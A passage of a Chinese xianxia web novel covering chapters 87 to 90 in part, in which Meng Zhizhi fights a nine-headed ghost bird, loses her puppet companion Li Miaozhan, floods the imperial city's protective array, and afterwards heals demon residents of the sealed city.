李妙湛坐在地上,捂住自?己?的?胸口,道:“九头鬼鸟,天生不怕火,它本是邪物,被?赢破仙门收付,成了第二境的?看管灵兽。第二境比第一境更?加凶险,火球不会停下。” 孟枝枝道:“你放心,不管怎么样,我都会保护你,是我把你连累进来的?。” 李妙湛看着她站起身,数支金箭出现在她四周,她抬起金弓,眼神凌厉,耳朵里?流出的?液体滑到了脖子上,那是鲜红的血迹。 他大喊道:“孟枝枝!” 只见?巨型翅膀朝她压了过来,数支金箭同时射出,在半空中就爆炸开来。 天空下满了红色的雨,连同的?,还有那滚烫的?岩石。 李妙湛躲避着,这里?杀阵因为这一场追杀变得更加狂暴,他抬眸一看,不由惊住。 孟枝枝迅速地躲闪着九头鬼鸟的?攻击,顺便还要躲避杀阵。 短短的?时间里?,她竟然掌控了这里?的?方法。 李妙湛不知道的?是,自?从那天孟枝枝回去之后,满脑子都在想他这个阵法,自?己?不休不眠一直在练习,终于将那脚步融会贯通,现在踏出的?每一步都是刻进骨子里?的?□□记忆。 就在这里?抛下她吧,反正她已经活不了多久了。 一个念头就这样出现李妙湛的?脑子里?。 一只鬼鸟头朝他攻击了过来,李妙湛没有孟枝枝那么快的?速度,他奋力一躲,但是手依然被?啄断了。 孟枝枝见?状,抬起金弓愤怒一射,射出的?金箭刺入鸟头脖颈处,直接爆炸开来,鸟头爆烂了,那脖颈处炸裂得?血肉模糊。 李妙湛惊住。 她竟然有这么强大的?力量? 她赶到他身边来,紧张道:“趁我拖住它们,你快走。记住你答应我的?!” “你……”李妙湛难以相信她竟然回来了,还让他走。 “快走啊。”她催促道。 少?女衣衫上都染满了鲜血,她紧紧抓着金弓,还在射着那只巨大的?九头鬼鸟。 等她再回头的?时候,李妙湛已经消失不见?。 “人女,你的?伙伴抛弃你了。”九头鬼鸟发出了嗤嗤笑声。 孟枝枝呼吸一口气,道:“这下我可?以专心对付你了。” 九头鬼鸟讥讽道:“你心里?一定很失落吧,他这是送你去死。” 孟枝枝笑道:“一个人活下去,总比两个人死好。” “像你们,一定不会懂这个道理。”她又射出一道金箭。 那金箭硬生生扎进了鬼鸟的?脖子里?,鬼鸟怒道:“你跟我遇见?过的?其他人不同,你身上还有别?的?鬼邪的?味道。你与其他的?鬼战斗过?” 孟枝枝喘着粗气,道:“在下不才,区区两三次而已。” “哼,好大的?口气,你这人类小女孩,是我们小瞧了。能与鬼邪一战,你有两下子。”九头鬼鸟几张嘴同时开口道,“既然如此,我们更?要你死在这里?了!” 剩下的?八个头朝天空鸣泣,所有的?岩浆裹进它的?身体里?。它再也不是刚刚那副腐朽的?样子,现在的?它身上全是滚烫的?火焰,像是浴火的?凤凰,发出刺目的?爆光。 它压低身躯,整个巨型身体朝她笔直地俯冲了过来。 孟枝枝感到浑身温度都烫得?惊人,身体仿佛要融化?,体内筋脉在急速扩张,就像要从内到外爆裂似的?。 她知道,还不等九头鬼鸟靠近自?己?,自?己?肯定会被?这强烈的?高温烧得?尸骨不存。 但她不能退步,她还不想中止在这里?。 孟枝枝心念,师父,求求你保佑我。 金弓消散,她手里?捏住那柄护她剑,燃烧她自?己?的?修为,将全部的?灵力全部输入进剑里?面。 要让真正用?来战斗的?剑发挥最大的?功力! 她大喊道:“护她!” 九头鬼鸟就距离她不到百尺的?距离,从她身上爆发出巨大的?灵气波动,那灵气波动剧烈地扩张,不断向外扩散,正面迎击九头鬼鸟一击。 两股强大力量直接相撞,地面上的?岩石全部碎裂,孟枝枝感觉身体一轻,一只眼睛被?岩石击中。 天崩地裂,整个杀阵已经陷入彻底的?狂暴。 剑灵的?幻影突然变得?严肃起来,孟枝枝看见?那九头鬼鸟再次向她袭来。 护她剑闪耀着血色的?光芒,孟枝枝双手紧握住剑柄,道:“一起打败它吧!” 她大吼一声,踩着漂浮的?石块,冲九头鬼鸟砍去。 当?她斩击着一个鸟头的?同时,剑灵出动,手里?也拿着一把虚幻的?剑,灵活跳跃在鸟身上,以迅雷不及掩耳之势斩击下另一个鸟头。 接连又失去两个鸟头,九头鬼鸟察觉出来了孟枝枝身上的?异常,转头向另一个方向奔去。 那个方向,正是魂河之水来的?地方。 它是想逃出去! 孟枝枝道:“卑鄙无耻的?小人,你别?跑!” “人女,你真是天真。我们鬼邪天生比人类强大,只要有身躯还在,我们就可?以重生,到时候你还能抵挡住接连不断的?我们吗?只要为了活命,我们什么都能做得?出!”九头鬼鸟讥讽着,它飞行的?速度极快,只不过短短一眨眼的?功夫就已经与她们拉开了很长一段距离。 孟枝枝嘶吼道:“有本事和我正面对决啊!” 九头鬼鸟不知道孟枝枝发生了什么,嘴里?不屑低语道:“发疯的?小鬼。” 不要命地和它们厮杀,到底是为了什么?难道她不该趁此机会逃跑才对,当?然它们肯定不会放过她。 它的?能力之强,过了千年,修士们都无法将它们铲除,只能仅仅将它们封印在此地。 能够打得?九头鬼鸟连连败退,已经是她的?极限。 要面对数千年的?修士前?辈都杀不死的?对象,她怎么可?能做到? 这个时候,一个声音唤醒了她。 “孟枝枝!”李妙湛喊住她,道:“快屏气!” 她看见?滔天巨浪从他身后涌了过来,立马憋住气息。 下一瞬间,她不由地闭上眼,感觉自?己?浸泡在了水里?。 再一睁开眼,就看见?李妙湛手里?握着那枚青花朱砂玉令,他在水中竟然也能自?然呼吸,只听他念道:“急急如律令,无尽海,开!” 那一霎那,周围一切都变得?亮堂。 无穷无尽的?海水包裹着他们。 数个海底巨浪拍打了过来,将九头鬼鸟摁在了海底,海底里?涌现出了密密麻麻的?虫子,它们长得?奇形怪状,身上的?皮肉看起来很硬,还长着尖锐的?倒刺,它们像是随着海浪的?来袭而随浪涌动,但一旦沾染上,就甩不掉了。 无穷无尽的?虫压在了九头鬼鸟身上,它动弹不得?。 水克火。这个地方对九头鬼鸟有天生的?克制作?用?。 李妙湛这时对孟枝枝大喊道:“快游!下一阵海浪要来了!小心,躲避那些虫。记住木克水。” 孟枝枝看见?李妙湛如同游水之鱼,很快躲避着那些虫子,她必须在短时间内跟上,这一次没有失败的?机会,一旦错失,下面魂河中无数的?亡灵还在等着她。 第88章 第 88 章 她奋起直追, 海底的浪完全不讲道理?,你永远不知道它会从?从?哪个时间?、哪个地方涌来。她感觉肺部里的空气都要消耗殆尽,睁着的那只眼,只看?到无数的浪花拍打, 快要看?不清李妙湛的身影, 耳朵里全是噪音, 只呛了一口水进去, 她的动?作就开始变得迟钝了。 这?时候, 护她剑接住了她的身体。剑灵驮着她跟上了李妙湛的速度。 李妙湛道:“不好,是海底漩涡!” 一个小小的漩涡从?海底开始旋转,逐渐将?变得越来越大,周围无数的虫和?鬼子?被它吸了进去。 李妙湛心道,这?是走了什么狗屎运, 他入阵以来从?来都没有见过海底漩涡,这?次偏偏遇上了。 他烦躁道:“该死。” 看?到李妙湛停下了步伐,孟枝枝不明所以。 李妙湛道:“我们要进入到漩涡里。” 孟枝枝道:“自投罗网吗?”她看?着那越来越壮大的漩涡,将?九头?鬼鸟的身体撕拉得四分五裂,她的本能告诉她, 那股力量可以直逼天地, 仿佛看?到了盘古开天辟地时候的壮阔。 李妙湛表情十分严厉起来, 道:“孟枝枝,认真说, 贫道从?来没有度过海底涡旋的经验,但是它绝对?能够压制住魂河亡灵。” 孟枝枝顿时明白?了,道:“那就进去吧, 我一定不会拖你的后腿。” 李妙湛自嘲道:“我真的是在跟你一块发疯。记得,不要反抗, 但凡使用一点?力气,涡旋的力量完全可以杀死你。” 他话音刚落,漩涡就已经将?他卷了进去。孟枝枝笔直地冲了进去。 李妙湛只觉得天地旋转,身体已经不受控制,自己仿佛浸深在一片黑暗牢笼之中,他极其想抓住什么东西。 完全丧失了一切的控制感,让他的心脏剧烈颤抖着。 戒尺挥舞下来,打碎了他的脸。 “妙湛,为师不是告诉过你要顺利通过烈焰火才能休息吗?你为什么偷偷跑出去了?训练阵法对?你来说就这?么难?”净念站在他身前,“那是上古的阵法,是赢破仙门最接近神?的修士留来的,你知道这?意味着什么?你掌握了它,你就拥有了神?的力量。现在的你不过是一具任谁都能摧毁的傀儡,难道你想要一辈子?这?样下去?” 李妙湛捡起地面上破碎的脸,那是雕刻的木偶碎块。 戒尺往下一挥舞,他的手指飞了出去,连同地面上的那些碎块化成了碎屑。 “师父我错了。”李妙湛低着头?跪在净念的身前,他的眼睛深处是黑洞洞的。 净念道:“你这?本来就是一具傀儡,不懂疼痛,只有像你这?样的身体才能无限制地闯阵,为师的希望都在你身上啊!” 李妙湛跪在原地,一言不发。 房间?里传来戒尺挥动?的声音,还有一阵劈里啪啦的破碎声。 “你就在这?里自生自灭吧。贫道用不着无用的废物!”净念道士高高在上地凝视着他。 他气冲冲地推门而出。 李妙湛倒在地上,他的眼睛被净念打烂,只剩下鼻子?和?嘴巴,他什么都看?不见。 他在里面呆着,不知道时间?的流逝。 师父说得没错,他感知不到任何疼痛,师父的傀儡术造诣在世无人?可比,所以才能创造出拥有灵智的他。 一开始创造出来的他就被关在房间?里,为师父端茶送水,制作符箓,毫无其他想法。 直到有一天,他踏出了门,看?见了世界五颜六色,他不禁呆住。 一只蝴蝶停留在他的指尖,轻轻挥动?着翅膀。 从?那儿之后,他都会偷偷溜出来。 那些蝴蝶都很喜欢他,会围在他身边飞舞。 天色欲变,房间?里,净念试验新的法术,一只蝴蝶飞了进来,法术只不过一眨眼施出,然而房檐摇摇欲坠,整面墙便冲净念倒了下来,李妙湛扑了过去,墙倒塌在了他身上,将?他的身体拦腰砸断。 他张开了掌心,那只小小的蝴蝶就飞走了。 净念仿佛大脑被什么击中,十分高兴,道:“从?此之后,你就叫李妙湛,我就是你的师父。” 李妙湛抬头?看?他,身体动?不了,小声道:“师父。” 净念将?他的身体改造了一番,就开始教他一些阵法知识,接着就开始让他过阵。 每一次出阵,他几乎身体都被摧毁完,但净念十分高兴,会替他重补身体。李妙湛每次都会带来新的信息,阵法里面的情况越来越清晰明了,这?让净念欣喜,愿意为他做这?些。 然而,过阵多?次,他的身体早已到处是裂痕,只要一次轻撞,他就会粉碎一地。 这让他产生了不想去的念头?,例如这?次。 不知过了多?久,他艰难地控制着嘴和下巴,小声道:“师父,我错了,我想出去。” 无人?回应。 那个时候,他以为他会在那个房间?里待上一辈子?。 一道温暖的光笼罩住他,让他忍不住用双手去迎接。 他的眼睛渐渐能看?见,他看?见一柄白?色的玉如意在他跟前,散发着温柔的光。他就像溺水的人?,被灌进一口新鲜的空气。 那些光辉落在他的身上,就像无数的小手轻轻地抚摸着他。 李妙湛艰难地爬起来,伸手去够。 心中的渴望在叫嚣着。 他想靠近那束光! “妙湛,危险!” 李妙湛猛地睁开眼睛,他看?见孟枝枝一手拿着剑,一手紧抓着他。 她紧闭着双唇,脸上的坚毅让他清醒过来。 两个人?顺着涡旋滑动?,期间?无数的碎肉撞击过来,但他们都不敢轻举妄动?。这?个情况下,他们只能顺势而为。 碎肉和?虫不断打在他们身上,虫刺扎进他们的身体里,剧烈的疼痛让孟枝枝手脚忍不住颤抖,然而只要稍微使用一点?力气躲避,他们就会被撕得粉碎。 孟枝枝身上沾满了虫子?,像只刺猬,她的脸色涨红,嘴里不断冒出气泡。 她快撑不住了。 李妙湛怀中散发着绿光,将?他的胸囊涨得鼓鼓的。 下个旋转到来,他顺势将?孟枝枝拉近怀里。 孟枝枝一愣,他紧紧抱着她。 那绿光将?他们两个人?笼罩进去。 孟枝枝感觉自己身体的疼痛减轻了,她的身体流动?着新鲜的空气,经脉仿佛被人?轻抚着伤疤,一点?点?在治愈。 两个人?在海底维持这?个姿势维持了很久。 直到漩涡彻底停下,李妙湛松开了她,道:“跟我走。” 孟枝枝跟着他不断向上,终于浮出水面,一缕阳光照射到海面上,一望无际,金辉洒落,海面平静。 她终于呼吸到空气,贪恋地呼吸着。 她明白?,自己活下来了。 她道:“谢谢你,李妙湛。” 她转头?一看?,就见李妙湛身体只剩下上半身,漂浮在海面上。 她喊道:“护她!” 护她剑变得巨大,她爬到了护她剑身上,将?李妙湛的上半截身躯从?海水里拉了出来。 她惊慌无措道:“我该怎么帮你?” 她焦急地从?水里想寻找他的下半身,但是大海实在太大了,他的下半身不知道被海水冲到了哪里去。 李妙湛道:“不用了,我的身体早已碎成碎片,如果不是它,你现在已经看?不到我了。” 他从?怀里掏出了绿玉如意。绿玉如意散发着柔光,他将?它递到了她的手中。 孟枝枝道:“你坚持一下,我再想想办法。我再去水里,我一定会找到你的身体!” 李妙湛艰难道:“孟枝枝,你能不能消停一会儿?能别和?贫道作对?吗?” 孟枝枝道:“我没有。” 李妙湛看?到她的泪水,不禁愣住,道:“你早就知道我不是人?了,还愿意救我。” 孟枝枝道:“因为我知道你并?不想杀我,我说的都是真心话。” 李妙湛再次愣住。 过了一会儿,他道:“我这?具身体破碎了无数次,比灰尘都要碎得干净,能支撑到现在全是因为白?玉如意。” 他看?着绿玉如意,眼神?变得温柔起来。 孟枝枝第一次看?到他这?样的神?情。 李妙湛道:“我是净念做成的傀儡,我虽然有灵智,但我不是人?。” 孟枝枝急道:“我去找最厉害的傀儡师修复你!你不要放弃!” 李妙湛道:“净念死了,世上除了他,无人?可以修复我。” 孟枝枝瞳仁微缩,道:“对?不起,是我杀了你师父。” 李妙湛道:“我从?不因为这?件事恨你,师父他结仇甚多?,他总会死。不是被你杀,就会是被其他人?杀掉。孟枝枝,你的师父是个怎样的人??” 孟枝枝内心十分愧疚,道:“我师父很好,对?病人?很好,大家都很爱戴她。她对?我也很好,这?把剑也是她为我铸造的。” 李妙湛眼神?里有羡慕。 “我见过你师父。” 孟枝枝没想到能从?李妙湛口中得知师父的事,她下意识屏住呼吸。 李妙湛道:“大概很多?年之前,她来找过我师父,她用白?玉如意为交换,让师父制作了一个跟她一样的傀儡。” 孟枝枝顿时明白?了什么,眼泪从?眼眶中掉落下来。 李妙湛道:“你猜得不错,你师父的确很爱你。” 孟枝枝泣不成声。 李妙湛道:“孟枝枝,你附耳过来。” 孟枝枝俯身过去。 李妙湛道:“此事看?你,虽然我不知道你为什么一定要这?么做,但是放心大胆去做吧。” 孟枝枝怔住。 李妙湛在她怀里,变成了一堆光,他被风一吹,所有的光辉都融入了大海里。 她的头?发随着风吹动?,她漂浮在海面上,无边无际的大海上,海鸟在天空盘旋,鱼儿跳跃。 第89章 第 89 章 孟枝枝在海面上航行, 岸边近在眼前。 “芝芝!”云庭伸出手。 孟枝枝将手放了?过去,云庭一把将她拉了?上去。 “我带你?走。” 孟枝枝拉住他的胳膊,道:“我不能走。” 云庭道:“为什么?” “她说得不错,她走不了?!”仙门之人赶到。 孟枝枝松开云庭的胳膊, 站直了?身体, 日?辉洒在她的嫁衣上, 她整个人像发光一般。 云庭挡在了?她的身前, 声嘶力竭道:“芝芝和那个魔头没有丝毫关系!她是被迫的!” 望凝君道:“云庭侄儿, 你?要护着这个妖女??” “谁说枝枝是妖女?!”话音一落,贤剑真君现身了?。 他掌心握着一枚璧水珠,整个人的衣袂上倒映着幽绿的波光。 上元夫人道:“贤剑真君你?是要与众仙门为敌?”她身后站在摩拳擦掌的各家仙宗之人。 贤剑真君道:“当初赢氏仙族人杰辈出,风光无量,你?们认为他是巨大的威胁, 赢氏一族一起,其他仙门再无立足之地,便怂恿千霄宫祖辈联合将其围剿皇都,囚禁其后代,这一次你?们依然是为神印之事滥杀无辜, 不顾天伦道德, 执迷不悟, 一犯再犯,我早就?立誓要肃清仙门, 以正罡风!” “无真!你?这小儿,敢杀了?我师兄,还?敢在此?大言不惭, 我今日?要替贤剑师兄报仇雪恨!”铁炼真君赶到。 望凝君耻笑道:“原来是个冒牌货!诸位道友还?等?什么,杀了?他, 为贤剑真君报仇!” 贤剑真君冷笑,手中璧水珠飞出绚异的光,鬼仙现身。 “杀了?他,夺回神印!”不知是谁喊出这一声口号,众人响应。 云庭的心情?跌入谷底,这个世界仿佛已?经陷入癫狂。 他的师父当真是无真? 众仙门拼死守护的对象究竟是谁? 他一直以来追求的道心,难道是因为这一帮人?! 孟枝枝道:“哥哥。” 这一呼唤,将云庭即将陷入癫狂的思绪唤回,云庭扶住她道:“枝枝,我带你?远走高飞,再也不踏入此?地。” 孟枝枝道:“我不能走,神印出世,天下必会大乱。无论我走去哪儿,这个结局都不会有什么改变。既然如此?,那不如为这个世界做些?什么。”她眸底迸发坚毅的光。 云庭心口宛如被人撕裂,道:“他们都是道貌岸然之辈!芝芝,他们不值得!” 孟枝枝微微一笑,道:“我知道你?一直斩妖除魔,为我,也为了?这天下的孩子,不要因为他们,而?否认自己的路。” 她走了?出去,大声道:“神印在此?!” 这一喝声,令众人目光都聚焦到她身上。 孟枝枝道:“你?们猜测得不错,我身上的神印乃女?娲一族补天的神石。只要我想,我便能进入神域,你?们想要神印,可以,带着弟子自退三百里。” 望凝君道:“别信她满口胡言!我们要是退去,她就?要带着神印逃跑了?!” 众人被说动,道:“快交出神印!神印乃举世之宝,交予仙门,从此?邪魔不再侵扰人仙两界。” 孟枝枝道:“这就?是你?们的决定??那些?你?们亲手带大的弟子,你?们就?不顾及他们的性命了??” 上元夫人道:“此?战为人仙两界和平而?战,弟子们使命如此?,你?这妖女?休要蛊惑众人!” 孟枝枝道:“我知道了?。” 她从袖下拿出那枚青玉令,是李妙湛留给她的。 ——“虽然我不知道你?为什么一定?要这么做,但是放心大胆去做吧。” 她心中从未如此?清明过,她将那青玉令抛在半空中,结印捏决。 忽然地面震动,海浪汹涌,数百米高的巨浪急速朝陆地冲去。 有人大惊失色道:“她在倒灌赢氏仙门的护山阵法!皇城四?周即将被淹没!这里会变成一座孤岛,快逃!” 少数人连忙往皇城之外的地方奔去。 孟枝枝捏完诀,就?将青玉令捏碎了?,道:“你?们只有一炷香的时间,一炷香时间一到,这里就?再也出不去了?。你?们的弟子现在应该还?在皇城之中,带着他们是走,是留,全看你?们。” “你?……”望凝君气绝,道,“你?想威胁我们!” 众人军心有些?涣散,有些?人想来夺宝,但是自知实?力不够,只想捡漏,如今皇城即将成为一座真正的牢笼,有人当即不干,立马逃走。 上元夫人道:“你?们怕什么!夺得神印,还?怕区区一个护山大阵吗?看招!” 她急速朝孟枝枝冲来,她一言唤回大部?分?人理智,纷纷拔剑出招,贤剑真君也随鬼仙陷入混战之中。 云庭带着孟枝枝想逃,可是无边无际的大海,能往哪里去? 孟枝枝步伐不稳,她胸口的剑伤流血不止,道:“哥哥,你?走。” 云庭红了?双眼,道:“我怎么能再次抛下你!芝芝,无论是生是死,我们兄妹俩要在一起。” 孟枝枝看着他,道:“别忘了你千霄宫的那些师弟师妹,我认识的明义哥哥心地善良,爱惜弟子。” 云庭陷入两难抉择,他目光落在孟枝枝那苍白的双唇上,他心一横,直接抛去一枚通信符,道:“一剑看到我的信,会带弟子们离开。我陪着你?。” 孟枝枝虚弱一笑,她即将落地,云庭将她抱在怀中,宛如捧着稀世珍宝。 两兄妹看着这仙门混战,突然天空魔气涌现。 赢破带着三三两两的鬼将从天而?降,他急速朝孟枝枝奔来,看着云庭,眼中敌意就?快要杀死人。 孟枝枝立马道:“赢破,他是我亲生哥哥。不要对他动手。” 赢破才收回自己那蠢蠢欲动的手,他挤开云庭,看着气息奄奄的孟枝枝,道:“是我来晚了?。” 他一挥手,道:“鬼将。” 孟枝枝立马握住他的手,道:“不要杀人。答应我。” 赢破看到她胸口的伤,心中怒火滔天,想要这些?人给她陪葬。 他咬破掌心,附上了?那伤口。 她看见他一身嫁衣变得褴褛,原本束了?冠,也不知道冠掉落去了?何处,露出一头被亡灵啃食后的短发。 他身上也是重伤,白骨显露,是被那阵中的火球所伤,他是硬抗着那阵法来寻她,不知牺牲了?多少鬼将。 她突然觉得嗓子很干,道:“赢破,我将阵法倒灌了?。以后再也无人出去,也无人能进得来。” 赢破道:“无妨。你?没事就?好。” 孟枝枝鼻子一酸,道:“你?不怪我?” 赢破将她脸庞紧贴的头发缕到后面去。 赢破道:“孟芷,我要的从来都是你?。”他的瞳仁墨色沉沉,里面无数的情?愫呼之欲出。 云庭看着二?人,手中紧捏着无尘剑。 不,他不能再伤小妹的心。 贤剑真君携鬼仙而?来,道:“枝枝,将神印交给我,我去了?神域,定?会复活木儿!” 孟枝枝道:“我不会给你?,无真,我师父不接受你?!她不会希望自己的复活是你?踏着众人的血肉得来。” 贤剑真君道:“难道你?要亲眼看着你?师父去死?!” 孟枝枝道:“我会在此?处等?我师父,我答应过她。” 贤剑真君道:“你?!” 他直接上来抢,赢破护着她,捏住了?他的头颅。 贤剑真君道:“鬼仙!” 水夜叉盘腿而?起,一身结白道袍,朝赢破而?来,救下贤剑真君。 望凝君一众仙人看有机可乘,便朝孟枝枝冲来。 云庭举起无尘剑,使出所有剑招,对抗众人,他誓死都要拖住他们,护住小妹。 孟枝枝看见赢破被鬼仙和贤剑真君二?人打得体无完肤,他还?在硬撑。 她提起护她剑,往鬼仙而?去。 鬼仙一手掏空了?她的胸膛,贤剑真君急道:“鬼仙,谁叫你?伤她!” 鬼仙道:“你?不是一直想要神印,不碰她,怎么会让神印现世!” 孟枝枝额中现出双人蛇尾的神印,她终于?体力不支,赢破抱着她的身体,双眸全是红血丝,大喊道:“孟芷!” 孟枝枝将手附上他的脸颊,道:“赢破,我不会死。” 赢破看着她空了?的胸膛,用双手去堵。 孟枝枝道:“看来借来的心,始终要还?的。” 她竟然还?有闲心说笑话。 赢破道:“我不许你?死,听见了?吗?孟芷!” 她看见贤剑真君和鬼仙朝他们而?来,而?云庭被仙门众人打趴在地,也朝他们而?来。 孟枝枝拼尽全力,将赢破拉到自己跟前,她将额心抵在了?他的额心上,道:“赢破,我喜欢你?。” 赢破一滞。 他双手捧住了?她的脸,道:“我亦是,比你?的喜欢更多。” 孟枝枝眼中湿润,道:“真希望那个梦能做得再长远一些?。赢破,我不想你?死,所以你?走吧。活下去,去神域。” 赢破双眸一愣,他感受到额心在发烫。 天边青龙飞舞,天音降临。 孟枝枝松开了?他,赢破的额心骤然长出一枚神印。 他的身体不受控制地朝天边飞去,孟枝枝伸出手,想努力够着他。 赢破也伸出手,使尽全身的力气,道:“孟芷!该死!” 神印的力量是巨大的,无人能够抗衡。 天门打开,他的身体一直被吸引着往天门中去。 “孟芷!不许你?离开我!你?怎么能如此?!孟芷!” 孟枝枝冲他一笑,大喊了?一句,赢破什么都听不见,他的身体快速通过天门,鬼仙和贤剑真君趁此?机会猛追上去。赢破身影消失的片刻,天门关上,天空又恢复往日?的沉寂。 孟枝枝哭得不能自已?,她从空中掉落,云庭接住了?她,在她耳边喊道:“芝芝,你?还?有我!” 孟枝枝什么都听不见了?,她知道她和赢破此?生不复相见了?。 赢破被引入天门之中,此?处景色雄伟壮阔,比人界高大数倍,山川河流,鸟语花香。 他奋力挣扎,但身上根本不受控制。 引路的青龙将他带去了?一座仙山,此?山四?处皆是海水,无边无尽。 他不受控制跪在地上。 一个穿着白衣的神女?,她长着一条长长的蛇尾,手中正在捏着泥土,动作一直尚未停下。 青龙使者道:“风绒神女?,您要的人,我已?带到。” 它瞬间又化为一条飞龙,不知飞去了?何处。 风绒拍了?拍泥土,转身看来人,惊异道:“竟然是你?。” 赢破道:“放我下界!我要去找孟芷。” 空中鸟儿衔来枝叶,风绒接过,将那枝叶的水倒入口中,润了?润嗓子,道:“踏入神域之人不得下界,你?回不去了?。” 赢破一砸地面,无能狂怒,道:“我要下去!” …… 第90章 第 90 章 一个月过?去。 孟枝枝未死, 她胸口的伤在云庭的照顾下渐渐好转,只残留了疤痕。 她今日提着药箱,急匆匆往外赶。 云庭叫住她,道:“芝芝, 先吃点东西。” 他往她手里?塞了个烧饼, 道:“就算要治病救人, 也要照顾好自己的身体。” 孟枝枝啃着烧饼, 上面有喷香的辣子, 是她最?喜欢的口味,道:“我知?道了。这不是急着出门,一时忘了吗?不说了,我今天还得去给酒铺兔子精家的小子看腿,先走啦。” 她嘴里?衔着烧饼, 跑得匆匆忙忙,头发上的红绳飘荡。 云庭无奈地摇了摇头。 自从上次仙邪大?战之后,赢氏仙族护山阵法?倒灌,如今皇都四周都被无尽海的海水包裹,外人无法?踏入, 里?面的人也无法?出去, 海面上随时数丈的巨浪汹涌而来, 威力之大?,难以挑战, 这里?彻底变成了一座妖邪之城。 孟枝枝来到了酒铺,兔子精立马迎了上来,道:“女仙大?人, 快来看看我家小二,这倒霉孩子, 硬是要跟那豹精家小子比爬树,这可好了,摔断腿了。” 孟枝枝撸起袖子,从药箱里?拿出绷带、药水,她对小二道:“给我看看受伤的地方。” 小二老老实实地露出自己的左腿,已?经骨折,小腿上还有赫然一条长长的血口。 她手上套上一层鲛纱,去翻开那血口。 小二嗷嗷大?哭,吓得直叫娘,兔子精立马抱住了小二的头,又怕又气,道:“你这倒霉孩子,看你以后还敢不敢调皮捣蛋!” 孟枝枝道:“我要动手了。” 小二和兔子精同时屏住呼吸。 然而想象中的疼痛并未到来,只见孟枝枝动作?很快,眨眼一瞬,就缝合好了伤口,骨头也正了。 小二破涕而笑,道:“欸,娘,不疼。我一点都不疼啊!” 孟枝枝取下那副鲛纱手套,收拾自己的药箱,道:“接下来这段时间不要动你的左腿,好好养着,多补充营养,听你娘的话。” “大?慈大?悲的活菩萨,感谢女仙大?人,女仙大?人要不要尝尝我家新酿的桂花酒。”兔子精拿出两小坛桂花酒。 孟枝枝接下,回眸笑道:“多谢了。” 这边又有人喊道:“女仙大?人,打铁家的猪妖媳妇儿难产了,你快来啊。” 孟枝枝步履匆匆,立马赶往了下一家。 当小猪妖被孟枝枝的双手迎接出来之际,所?有人都欢呼雀跃。 小猪妖浑身红彤彤的,哭得很响亮。 孟枝枝额角流下汗水,眼睫毛也被汗珠打湿,她由?衷地笑了起来。 她小心翼翼将小猪妖放在襁褓中,放到了猪妖媳妇儿旁边,猪妖看得泪流满面,刚刚媳妇儿一脚踏入死门关,多亏了女仙大?人,才救了母子的性命,他下跪发誓,要对媳妇儿一辈子好,听得旁人忍俊不禁。 孟枝枝偷偷收拾好药箱,悄无声息地离开了。 夜幕降临,迎面的风清爽而温柔,空气里?夹杂着淡淡的海水的咸。 她坐在海边的岩石上,眺望着大?海,海平面上挂着一轮圆月。 她打开一坛桂花酒,对月举了举,仰头一喝。 她不知?,身后云庭站在远处看她。 蓝倾道:“又出来寻你妹妹,怎么不去跟她打声招呼?” 云庭转头,道:“不必了。她心里?难受,就让她一个人静静。要不要去院中坐坐,我做了几个下酒菜。” 蓝倾道:“那正好,赶紧的。” 两个人来到院落中,此处盖有两间茅草屋,还有一块草药田,一看就知?道是孟枝枝种的。 云庭斟了一杯酒,一饮而尽。 蓝倾道:“你一个人喝多没意思,来,干。”他举起酒杯。 云庭又给自己倒了一杯酒,对上了他的杯子。 蓝倾道:“你妹妹可真是厉害,以一己之力将鬼邪关在此地,又把那魔头送上了神域。这下神印没了,鬼邪群龙无首,反以你妹妹为尊,修仙界就算想报复,人手不够,也得先想着怎么出去。” 云庭道:“当时你为什么不想出去?” 蓝倾眸子闪了闪,道:“谁说我不想出去,这不刚想出去,没来得及嘛。” 云庭注视着他,道:“蓝倾,我以前一直以为你是一只自私自利的妖怪,是我错了,你之前所?言都是对的。这杯我敬你。”他将杯中的酒饮了个干干净净。 他现?出意志消沉的那面,双手撑在桌面上,道:“我从来没有想到师父竟会是那样,我现?在只要一闭眼,脑海里?都在想当初他和鬼仙掏空我小妹胸膛那一幕,他当初选择收我为徒,是不是也是因为木大夫!”他抬起头,双眸已?红。 蓝倾叹了口气,道:“云庭,你师父这个人虽然不行,但是对你是真心的。” 云庭怒拍桌面,道:“但他利用了我们所?有人!他明明知?道真相,却一直不告诉我,让小妹一直与我分?离。如果我在,是不是小妹就不会和那个魔头产生关系,小妹也不会这么痛苦。” 蓝倾道:“我曾告诉过你,你小妹不像一般人,她知?道很多事?,她身上既有神印,有什么神奇的事?发生在她身上我也不会意外。你觉得你小妹痛苦,但在我看来,她做出了她最想要的选择。还记得我跟你说过?的宿命吗?” 云庭一滞。 蓝倾道:“试想,如果你小妹从来没有离开过?那个魔头,你一直不会知?道真相,会是个什么结局?” 云庭不由?自主按照蓝倾的设想去想象,他要是知?道小妹与那个魔头勾连得这么深,他会不由?分?说地杀了小妹,他一定能干出那样的事情。 蓝倾提起地上一坛酒仰头喝,道:“逝去之物?不可挽回,活的人还能记住。” 云庭道:“你走了,玉坤山怎么办?” 蓝倾笑了,道:“我的使命已?经达成。没了仙魔之争,玉坤山如今应该遍野开满鲜花了。” …… 孟枝枝每天都很忙碌,忙着在城中四处治病救人。 上次战争过?后,皇城遍地狼藉,在水鬼的带领下,鬼将都跑去修缮屋子了。 孟枝枝刚提着药箱走出一户人家,就见水鬼朝她走来,他少了一只眼睛,看向?孟枝枝的目光颇为尊敬。 他道:“拜见女仙大?人。” 孟枝枝道:“水鬼大?人可是眼睛又疼了?”她刚侧过?身,准备从药箱里?拿东西。 水鬼道:“不是,女仙大?人,属下是来向?你禀报,城中的房屋都修缮完了。那十几个逃脱的修士被属下手中的人抓住,请女仙大?人处置。” 孟枝枝心中了然,道:“带我去吧。” 水鬼在前领路,孟枝枝跟随他到了一处庭院。 庭院中有众鬼邪把守,十几个修士被捆束住,其中有望凝君、上元夫人还有铁炼真君。 铁炼真君怒道:“你这妖女!” 水鬼上前扇了他一巴掌,道:“嘴巴放干净点,站在你眼前的是女仙大?人,更是城主。” 孟枝枝一抬手,道:“水鬼大?人。” 水鬼侧身而立。 孟枝枝走上前,道:“你们想要出去,我早就告诉过?你们,阵法?一旦倒灌,就再也出不去了。你们选择留下,还想要摧毁城内和平,带领那些不明所?以的弟子送命。你,担不起真君的名号。” 铁炼真君往地上呸了一下,道:“你将那魔头送入神域就是送他去死,你当真以为神明能容纳得下一个魔头!” 孟枝枝道:“比起这个,你还是担心担心你自己。” 她扫视了一圈的修士们,道:“你们所?放弃的弟子,已?经全部归顺城中,他们如今生活得很好,和城中居民和谐相处。” 